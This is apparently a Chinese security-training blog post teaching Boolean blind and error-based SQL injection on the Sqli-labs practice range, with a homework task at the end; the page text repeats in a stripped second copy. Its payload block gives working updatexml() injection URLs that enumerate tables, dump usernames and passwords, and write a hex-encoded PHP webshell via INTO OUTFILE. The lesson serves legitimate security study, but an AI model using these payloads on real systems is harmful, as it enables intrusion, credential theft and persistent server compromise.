5.23-SQL注入攻击（进阶）

博主： Suwanya
发布时间：2022 年 05 月 23 日
148 次浏览
暂无评论
4840字数
分类：网络安全
百度收录：百度已收录

我们今天继续在昨天的基础上学习一些进阶技巧~

---

### **Boolean注入(布尔盲注)**

**一、什么是Boolean注入**

Boolean注入的意思就是页面返回的结果是Boolean型的，通过构造SQL判断语句，查看页面的返回结果是否报错，页面返回是否正常等来判断哪些SQL判断条件是成立的，由此来获取数据库中的数据。

**二、Boolean注入实战**

这里我们可以打开我们Sqli-labs的第八关，这个靶场的源码在上一个帖子，没安装的可以再去看一下。

![Sqli-labs](https://blog.suwanya.cn/usr/uploads/2022/05/2744741177.png)

第八关是一个Boolean注入的环境，首先我们先输入一个 `?id=1`看一看会有什么情况

![提交参数](https://blog.suwanya.cn/usr/uploads/2022/05/3954529416.png)

这里出现了一个You are in......的字段
那么我们再输入一个 `?id=1'`看看会出现什么

![查询语句](https://blog.suwanya.cn/usr/uploads/2022/05/1875688743.png)

很显然，这里我们输入 `?id=1'`查询语句是无法正常执行的，按照我们以往的经验这里是会报错并且爆出一个语句查询错误的英文句子，但是这里没有。可是仔细观察，我们就会发现区别:错误的语句中是没有You are in.....这个字段的，那么我们就可以通过这个特性来进行我们的注入了。

**三、Boolean注入思想**

在进行Boolean我们是这样思考的。这里打个比方，站在你面前一个人，你问他叫什么名字，但是他是个哑巴不能说话，只会点头和摇头，这个时候你该怎么去得到他的名字呢？对，当然是我们去问他，然后他通过点头或摇头来告诉我们正确与否。假设这个人名字叫张三，我问他，你姓李吗。他给我摇了个头，这个时候我知道了他不姓李，我继续问，直到我们问他你姓张吗，他给我点了个头，这个时候我知道了。哦！原来他姓张，后面的字也是一样的手段。当然这样询问是工作量非常大的，在我们的Boolean注入里也是一样，所以我们在进行Boolean注入的时候都会写一些自动化的注入工具来帮助我们完成注入。

**四、开始Boolean注入**

在进行Boolean注入之前我们还需要知道一些MySQL的一些内置函数

**length(str)**:返回str字符串的长度。
**substr(str, pos, len)**:将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
**mid(str,pos,len)**:跟上面的一样，截取字符串
**ascii(str)**:返回字符串str的最左面字符的ASCII代码值。
**ord(str)**:同上，返回ascii码
**if(a,b,c)**:a为条件，a为true，返回b，否则返回c，如 `if(1>2,1,0)`,返回0

知道了这些我们就可以开始我们的注入了
我们输入 `?id=1' and ascii(substr((select database()),1,1))>104 %23`
这句话的意思是判断数据库的第一个字符是否是我们所给出的字符
发现给我们返回的是You are in.....字段
那就相当于给我们点了个头

![注入结果](https://blog.suwanya.cn/usr/uploads/2022/05/2067320280.png)

那这样我们就知道了数据库的第一个字符，接下来就是写自动化脚本慢慢拆解了。当然~~像黄油哥这样~~代码功底薄弱的师傅还可以借助SQLMAP帮助进行注入工作。

---

### 报错注入

**一、什么是报错注入**

顾名思义，报错注入就是通过页面爆出的错误信息，构造合适的语句来获取我们想要的数据，本节讲述的注入，数据库为MySQL。

**二、出现报错注入的原因**

首先是应用系统未关闭数据库报错函数，对于一些SQL语句的错误，直接回显在了页面上，部分甚至直接泄露数据库名和表名；
其次，必不可少就是后台未对MySQL相应的报错函数进行过滤

**三、集中常见的报错注入用到的函数**

1.updatexml()
2.floor()
3.extractvalue()
4.exp()

但这里使用最为常见的还是 `updatexml()`函数

**四、updatexml()的使用方法**

`updatexml()`的语法为:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据

如果找不到相应的Xpath路径，UPDATEXML函数就会报出错误

concat()函数。此函数用于连接字符串；由于updatexml()函数Xpath路径需要连接特殊字符，被连接的特殊字符需要进行16进制编码

concat_ws()函数。语法concat_ws(0x7e,database(),use())，会把查出来的库名和用户通过~连接起来完成报错

下面我们可以进入到Sqli-labs的第五关，输入 `?id=1`看看是什么样子

![返回结果](https://blog.suwanya.cn/usr/uploads/2022/05/3763077649.png)

出现了一个You are in.......的字样
那我们在后面再加一个单引号闭合看看出现什么

![错误语句](https://blog.suwanya.cn/usr/uploads/2022/05/191212934.png)

这里爆出了错误语句，这个时候我们就可以利用我们报错注入来进行注入了

后续爆库和写WebShell的Payload如下：

```bash
#获取当前数据库名称
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写WebShell
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s
```

爆库过程有好几段，这里只展示第一段

![运行结果](https://blog.suwanya.cn/usr/uploads/2022/05/794109978.png)

### 任务

完成范例中的这两次爆库过程并写记录文档，将第一次爆库代码进行提交

End

本文标题：5.23-SQL注入攻击（进阶）

本文链接：https://blog.suwanya.cn/CTF/369.html

除非另有说明，本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议。

声明：转载请注明文章来源。

最后修改：2022 年 05 月 25 日

给孩子一口饭吃吧~

发表评论取消回复

评论 *

私密评论

名称 *

🎲

邮箱 *

地址

5.23-SQL注入攻击（进阶）

Suwanya • 2022 年 05 月 23 日

我们今天继续在昨天的基础上学习一些进阶技巧~

---

### **Boolean注入(布尔盲注)**

**一、什么是Boolean注入**

**二、Boolean注入实战**

这里我们可以打开我们Sqli-labs的第八关，这个靶场的源码在上一个帖子，没安装的可以再去看一下。

![Sqli-labs](https://blog.suwanya.cn/usr/uploads/2022/05/2744741177.png)

第八关是一个Boolean注入的环境，首先我们先输入一个 `?id=1`看一看会有什么情况

![提交参数](https://blog.suwanya.cn/usr/uploads/2022/05/3954529416.png)

这里出现了一个You are in......的字段
那么我们再输入一个 `?id=1'`看看会出现什么

![查询语句](https://blog.suwanya.cn/usr/uploads/2022/05/1875688743.png)

**三、Boolean注入思想**

**四、开始Boolean注入**

在进行Boolean注入之前我们还需要知道一些MySQL的一些内置函数

![注入结果](https://blog.suwanya.cn/usr/uploads/2022/05/2067320280.png)

---

### 报错注入

**一、什么是报错注入**

顾名思义，报错注入就是通过页面爆出的错误信息，构造合适的语句来获取我们想要的数据，本节讲述的注入，数据库为MySQL。

**二、出现报错注入的原因**

**三、集中常见的报错注入用到的函数**

1.updatexml()
2.floor()
3.extractvalue()
4.exp()

但这里使用最为常见的还是 `updatexml()`函数

**四、updatexml()的使用方法**

如果找不到相应的Xpath路径，UPDATEXML函数就会报出错误

concat()函数。此函数用于连接字符串；由于updatexml()函数Xpath路径需要连接特殊字符，被连接的特殊字符需要进行16进制编码

concat_ws()函数。语法concat_ws(0x7e,database(),use())，会把查出来的库名和用户通过~连接起来完成报错

下面我们可以进入到Sqli-labs的第五关，输入 `?id=1`看看是什么样子

![返回结果](https://blog.suwanya.cn/usr/uploads/2022/05/3763077649.png)

出现了一个You are in.......的字样
那我们在后面再加一个单引号闭合看看出现什么

![错误语句](https://blog.suwanya.cn/usr/uploads/2022/05/191212934.png)

这里爆出了错误语句，这个时候我们就可以利用我们报错注入来进行注入了

后续爆库和写WebShell的Payload如下：

爆库过程有好几段，这里只展示第一段

![运行结果](https://blog.suwanya.cn/usr/uploads/2022/05/794109978.png)

### 任务

完成范例中的这两次爆库过程并写记录文档，将第一次爆库代码进行提交

5.23-SQL注入攻击（进阶）

发表评论取消回复

5.10-API参数提交

5.8-暴力破解模块和掩码破解模块利用

5.7-隐写的基本常识和手段

5.9-API的基础理论与实践

6.1-在Kali上安装和使用OWASP Juice Shop

5.23-SQL注入攻击（进阶）

5.13-周五特供！已知邮箱，求手机号码？

5.20-情人节特辑！

从0开始学习PHP-DAY3

5.29-利用好你的搜索引擎

5.23-SQL注入攻击（进阶）

发表评论 取消回复

5.23-SQL注入攻击（进阶）

发表评论取消回复